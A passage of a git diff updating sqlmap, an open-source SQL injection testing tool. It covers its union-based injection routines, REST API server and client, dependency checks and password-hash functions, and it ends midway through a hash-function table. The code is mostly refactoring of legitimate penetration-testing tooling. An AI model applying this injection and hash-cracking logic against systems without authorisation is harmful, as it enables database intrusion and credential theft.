popValue() @@ -263,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) validPayload = None vector = None + orderBy = kb.orderByColumns + uChars = (conf.uChar, kb.uChar) # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: @@ -297,6 +303,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) + if count and orderBy is None and kb.orderByColumns is not None: # discard ORDER BY results (not usable - e.g. maybe invalid altogether) + conf.uChar, kb.uChar = uChars + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + return validPayload, vector def unionTest(comment, place, parameter, value, prefix, suffix): @@ -308,8 +318,24 @@ def unionTest(comment, place, parameter, value, prefix, suffix): if conf.direct: return + negativeLogic = kb.negativeLogic kb.technique = PAYLOAD.TECHNIQUE.UNION - validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + + try: + if negativeLogic: + pushValue(kb.negativeLogic) + pushValue(conf.string) + pushValue(conf.code) + + kb.negativeLogic = False + conf.string = conf.code = None + + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + finally: + if negativeLogic: + conf.code = popValue() + conf.string = popValue() + kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index baa42ddd7cd..163f6276188 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,6 +19,7 @@ from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult +from lib.core.common import firstNotNone from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun @@ -44,6 +45,7 @@ from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException @@ -89,11 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): - return reduce(lambda x, y: x if x is not None else y, (\ - extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ - if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ - None) + return firstNotNone( + extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), + extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) + ) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): @@ -236,13 +237,7 @@ def unionUse(expression, unpack=True, dump=False): # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries - if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ - kb.forcePartialUnion or \ - (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ - " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ - and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: @@ -263,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False): stopLimit = int(count) infoMsg = "used SQL query returns " - infoMsg += "%d entries" % stopLimit + infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): @@ -317,7 +312,6 @@ def unionThread(): while kb.threadContinue: with kb.locks.limit: try: - valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: @@ -342,7 +336,7 @@ def unionThread(): items = parseUnionPage(output) if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + threadData.shared.progress.progress(threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: @@ -364,7 +358,7 @@ def unionThread(): else: index = None if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break @@ -379,7 +373,7 @@ def unionThread(): del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - _ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items + _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, basestring) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width: diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 5aea6ae2b18..2faa81a6de6 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,9 +33,10 @@ from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.defaults import _defaults +from lib.core.dicts import PART_RUN_CONTENT_TYPES +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS from lib.core.enums import MKSTEMP_PREFIX -from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict @@ -43,9 +44,9 @@ from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser -from thirdparty.bottle.bottle import abort from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook @@ -57,7 +58,7 @@ # Global data storage class DataStore(object): - admin_id = "" + admin_token = "" current_db = None tasks = dict() username = None @@ -95,7 +96,7 @@ def execute(self, statement, arguments=None): else: self.cursor.execute(statement) except sqlite3.OperationalError, ex: - if not "locked" in getSafeExString(ex): + if "locked" not in getSafeExString(ex): raise else: break @@ -104,22 +105,9 @@ def execute(self, statement, arguments=None): return self.cursor.fetchall() def init(self): - self.execute("CREATE TABLE logs(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, time TEXT, " - "level TEXT, message TEXT" - ")") - - self.execute("CREATE TABLE data(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, status INTEGER, " - "content_type INTEGER, value TEXT" - ")") - - self.execute("CREATE TABLE errors(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, error TEXT" - ")") + self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): @@ -173,6 +161,8 @@ def engine_start(self): self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): + self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) @@ -211,7 +201,6 @@ def engine_get_returncode(self): def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) - # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): @@ -278,7 +267,7 @@ def setRestAPILog(): conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") except sqlite3.OperationalError, ex: - raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database) + raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) @@ -286,8 +275,8 @@ def setRestAPILog(): logger.addHandler(LOGGER_RECORDER) # Generic functions -def is_admin(taskid): - return DataStore.admin_id == taskid +def is_admin(token): + return DataStore.admin_token == token @hook('before_request') def check_authentication(): @@ -369,7 +358,7 @@ def path_401(): @get("/task/new") def task_new(): """ - Create new task ID + Create a new task """ taskid = hexencode(os.urandom(8)) remote_addr = request.remote_addr @@ -382,47 +371,50 @@ def task_new(): @get("/task//delete") def task_delete(taskid): """ - Delete own task ID + Delete an existing task """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) - logger.debug("[%s] Deleted task" % taskid) + logger.debug("(%s) Deleted task" % taskid) return jsonize({"success": True}) else: - logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) - return jsonize({"success": False, "message": "Invalid task ID"}) + response.status = 404 + logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) + return jsonize({"success": False, "message": "Non-existing task ID"}) ################### # Admin functions # ################### -@get("/admin//list") -def task_list(taskid=None): +@get("/admin/list") +@get("/admin//list") +def task_list(token=None): """ - List task pull + Pull task list """ tasks = {} for key in DataStore.tasks: - if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: tasks[key] = dejsonize(scan_status(key))["status"] - logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) + logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) -@get("/admin//flush") -def task_flush(taskid): +@get("/admin/flush") +@get("/admin//flush") +def task_flush(token=None): """ Flush task spool (delete all tasks) """ for key in list(DataStore.tasks): - if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: DataStore.tasks[key].engine_kill() del DataStore.tasks[key] - logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) + logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True}) ################################## @@ -439,31 +431,36 @@ def option_list(taskid): logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - logger.debug("[%s] Listed task options" % taskid) + logger.debug("(%s) Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option//get") def option_get(taskid): """ - Get the value of an option (command line switch) for a certain task ID + Get value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - option = request.json.get("option", "") + options = request.json or [] + results = {} - if option in DataStore.tasks[taskid].options: - logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) - return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) - else: - logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) - return jsonize({"success": False, "message": "Unknown option", option: "not set"}) + for option in options: + if option in DataStore.tasks[taskid].options: + results[option] = DataStore.tasks[taskid].options[option] + else: + logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) + return jsonize({"success": False, "message": "Unknown option '%s'" % option}) + + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options))) + + return jsonize({"success": True, "options": results}) @post("/option//set") def option_set(taskid): """ - Set an option (command line switch) for a certain task ID + Set value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: @@ -477,7 +474,7 @@ def option_set(taskid): for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) - logger.debug("[%s] Requested to set options" % taskid) + logger.debug("(%s) Requested to set options" % taskid) return jsonize({"success": True}) # Handle scans @@ -502,7 +499,7 @@ def scan_start(taskid): # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() - logger.debug("[%s] Started scan" % taskid) + logger.debug("(%s) Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan//stop") @@ -511,15 +508,13 @@ def scan_stop(taskid): Stop a scan """ - if (taskid not in DataStore.tasks or - DataStore.tasks[taskid].engine_process() is None or - DataStore.tasks[taskid].engine_has_terminated()): + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() - logger.debug("[%s] Stopped scan" % taskid) + logger.debug("(%s) Stopped scan" % taskid) return jsonize({"success": True}) @get("/scan//kill") @@ -528,15 +523,13 @@ def scan_kill(taskid): Kill a scan """ - if (taskid not in DataStore.tasks or - DataStore.tasks[taskid].engine_process() is None or - DataStore.tasks[taskid].engine_has_terminated()): + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() - logger.debug("[%s] Killed scan" % taskid) + logger.debug("(%s) Killed scan" % taskid) return jsonize({"success": True}) @get("/scan//status") @@ -554,7 +547,7 @@ def scan_status(taskid): else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" - logger.debug("[%s] Retrieved scan status" % taskid) + logger.debug("(%s) Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, @@ -582,10 +575,9 @@ def scan_data(taskid): for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) - logger.debug("[%s] Retrieved scan data and error messages" % taskid) + logger.debug("(%s) Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) - # Functions to handle scans' logs @get("/scan//log//") def scan_log_limited(taskid, start, end): @@ -610,10 +602,9 @@ def scan_log_limited(taskid, start, end): for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("[%s] Retrieved scan log messages subset" % taskid) + logger.debug("(%s) Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) - @get("/scan//log") def scan_log(taskid): """ @@ -630,10 +621,9 @@ def scan_log(taskid): for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("[%s] Retrieved scan log messages" % taskid) + logger.debug("(%s) Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) - # Function to handle files inside the output directory @get("/download///") def download(taskid, target, filename): @@ -652,7 +642,7 @@ def download(taskid, target, filename): return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): - logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) + logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() return jsonize({"success": True, "file": base64encode(file_content)}) @@ -660,13 +650,12 @@ def download(taskid, target, filename): logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) - def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): """ REST-JSON API server """ - DataStore.admin_id = hexencode(os.urandom(16)) + DataStore.admin_token = hexencode(os.urandom(16)) DataStore.username = username DataStore.password = password @@ -679,7 +668,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) - logger.info("Admin ID: %s" % DataStore.admin_id) + logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database @@ -708,14 +697,14 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter - errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys())) + errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys())) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) logger.critical(errMsg) def _client(url, options=None): - logger.debug("Calling %s" % url) + logger.debug("Calling '%s'" % url) try: data = None if options is not None: @@ -762,6 +751,9 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non logger.critical(errMsg) return + commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit") + autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) + taskid = None logger.info("Type 'help' or '?' for list of available commands") @@ -788,11 +780,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non logger.error("No task ID in use") continue try: - command, option = command.split(" ") + command, option = command.split(" ", 1) except ValueError: raw = _client("%s/option/%s/list" % (addr, taskid)) else: - options = {"option": option} + options = re.split(r"\s*,\s*", option.strip()) raw = _client("%s/option/%s/get" % (addr, taskid), options) res = dejsonize(raw) if not res["success"]: @@ -849,7 +841,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non logger.info("Switching to task ID '%s' " % taskid) elif command in ("list", "flush"): - raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command)) + raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) @@ -861,7 +853,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non return elif command in ("help", "?"): - msg = "help Show this help message\n" + msg = "help Show this help message\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 148a69d6a91..ff4e7c17b54 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 6c844859474..7ceb98a7378 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -167,7 +167,7 @@ def crawlThread(): if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) - runThreads(numThreads, crawlThread, threadChoice=(i>0)) + runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) if threadData.shared.deeper: diff --git a/lib/utils/deps.py b/lib/utils/deps.py index fd0d4e14e56..265c0eb87fd 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -25,7 +25,7 @@ def checkDependencies(): if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " - warnMsg += "Download from %s" % data[2] + warnMsg += "Download from '%s'" % data[2] logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") @@ -49,7 +49,7 @@ def checkDependencies(): except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " - warnMsg += "'%s'. Download from %s" % (dbmsName, data[2]) + warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) @@ -65,7 +65,7 @@ def checkDependencies(): except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " - warnMsg += "http://code.google.com/p/impacket/" + warnMsg += "'https://github.com/coresecurity/impacket'" logger.warn(warnMsg) missing_libraries.add('python-impacket') @@ -76,7 +76,7 @@ def checkDependencies(): except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " - warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" + warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" logger.warn(warnMsg) missing_libraries.add('python-ntlm') @@ -87,7 +87,7 @@ def checkDependencies(): except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" + warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" logger.warn(warnMsg) missing_libraries.add('websocket-client') @@ -101,11 +101,10 @@ def checkDependencies(): warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " - warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" + warnMsg += "'https://pypi.org/project/pyreadline/'" logger.warn(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) - diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 00de945bf7a..733fdf57078 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -22,10 +22,9 @@ def __init__(self): def __call__(self): return self.impl() - class _GetchUnix(object): def __init__(self): - import tty + __import__("tty") def __call__(self): import sys @@ -41,16 +40,14 @@ def __call__(self): termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch - class _GetchWindows(object): def __init__(self): - import msvcrt + __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() - class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; @@ -79,6 +76,4 @@ def __call__(self): (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) - getch = _Getch() - diff --git a/lib/utils/har.py b/lib/utils/har.py index 4def9b3db45..252da45d179 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index dcc11bbb8e2..3985670f96b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: from crypt import crypt -except ImportError: +except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt _multiprocessing = None @@ -16,6 +16,9 @@ # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) _ = multiprocessing.Queue() + + # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) + _ = multiprocessing.Value('i') except (ImportError, OSError): pass else: @@ -72,6 +75,7 @@ from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import IS_WIN @@ -132,7 +136,6 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ - if isinstance(username, unicode): username = unicode.encode(username, UNICODE_ENCODING) @@ -377,7 +380,7 @@ def _encode64(value, count): ctx = password + magic + salt final = md5(password + salt + password).digest() - for pl in xrange(len(password),0,-16): + for pl in xrange(len(password), 0, -16): if pl > 16: ctx = ctx + final[:16] else: @@ -386,7 +389,7 @@ def _encode64(value, count): i = len(password) while i: if i & 1: - ctx = ctx + chr(0) #if ($i & 1) { $ctx->add(pack("C", 0)); } + ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); } else: ctx = ctx + password[0] i = i >> 1 @@ -414,7 +417,7 @@ def _encode64(value, count): final = md5(ctx1).digest() - hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4) + hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4) hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4) hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4) hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4) @@ -519,38 +522,38 @@ def _encode64(input_, count): return "%s%s" % (prefix, _encode64(hash_, 16)) __functions__ = { - HASH.MYSQL: mysql_passwd, - HASH.MYSQL_OLD: mysql_old_passwd, - HASH.POSTGRES: postgres_passwd, - HASH.MSSQL: mssql_passwd, - HASH.MSSQL_OLD: mssql_old_passwd, - HASH.MSSQL_NEW: mssql_new_passwd, - HASH.ORACLE: oracle_passwd, - HASH.ORACLE_OLD: oracle_old_passwd, - HASH.MD5_GENERIC: md5_generic_passwd, - HASH.SHA1_GENERIC: sha1_generic_passwd, - HASH.SHA224_GENERIC: sha224_generic_passwd, - HASH.SHA256_GENERIC: sha256_generic_passwd, - HASH.SHA384_GENERIC: sha384_generic_passwd, - HASH.SHA512_GENERIC: sha512_generic_passwd, - HASH.CRYPT_GENERIC: crypt_generic_passwd, - HASH.JOOMLA: joomla_passwd, - HASH.DJANGO_MD5: django_md5_passwd, - HASH.DJANGO_SHA1: django_sha1_passwd, - HASH.WORDPRESS: wordpress_passwd, - HASH.APACHE_MD5_CRYPT: unix_md5_passwd, - HASH.UNIX_MD5_CRYPT: unix_md5_passwd, - HASH.APACHE_SHA1: apache_sha1_passwd, - HASH.VBULLETIN: vbulletin_passwd, - 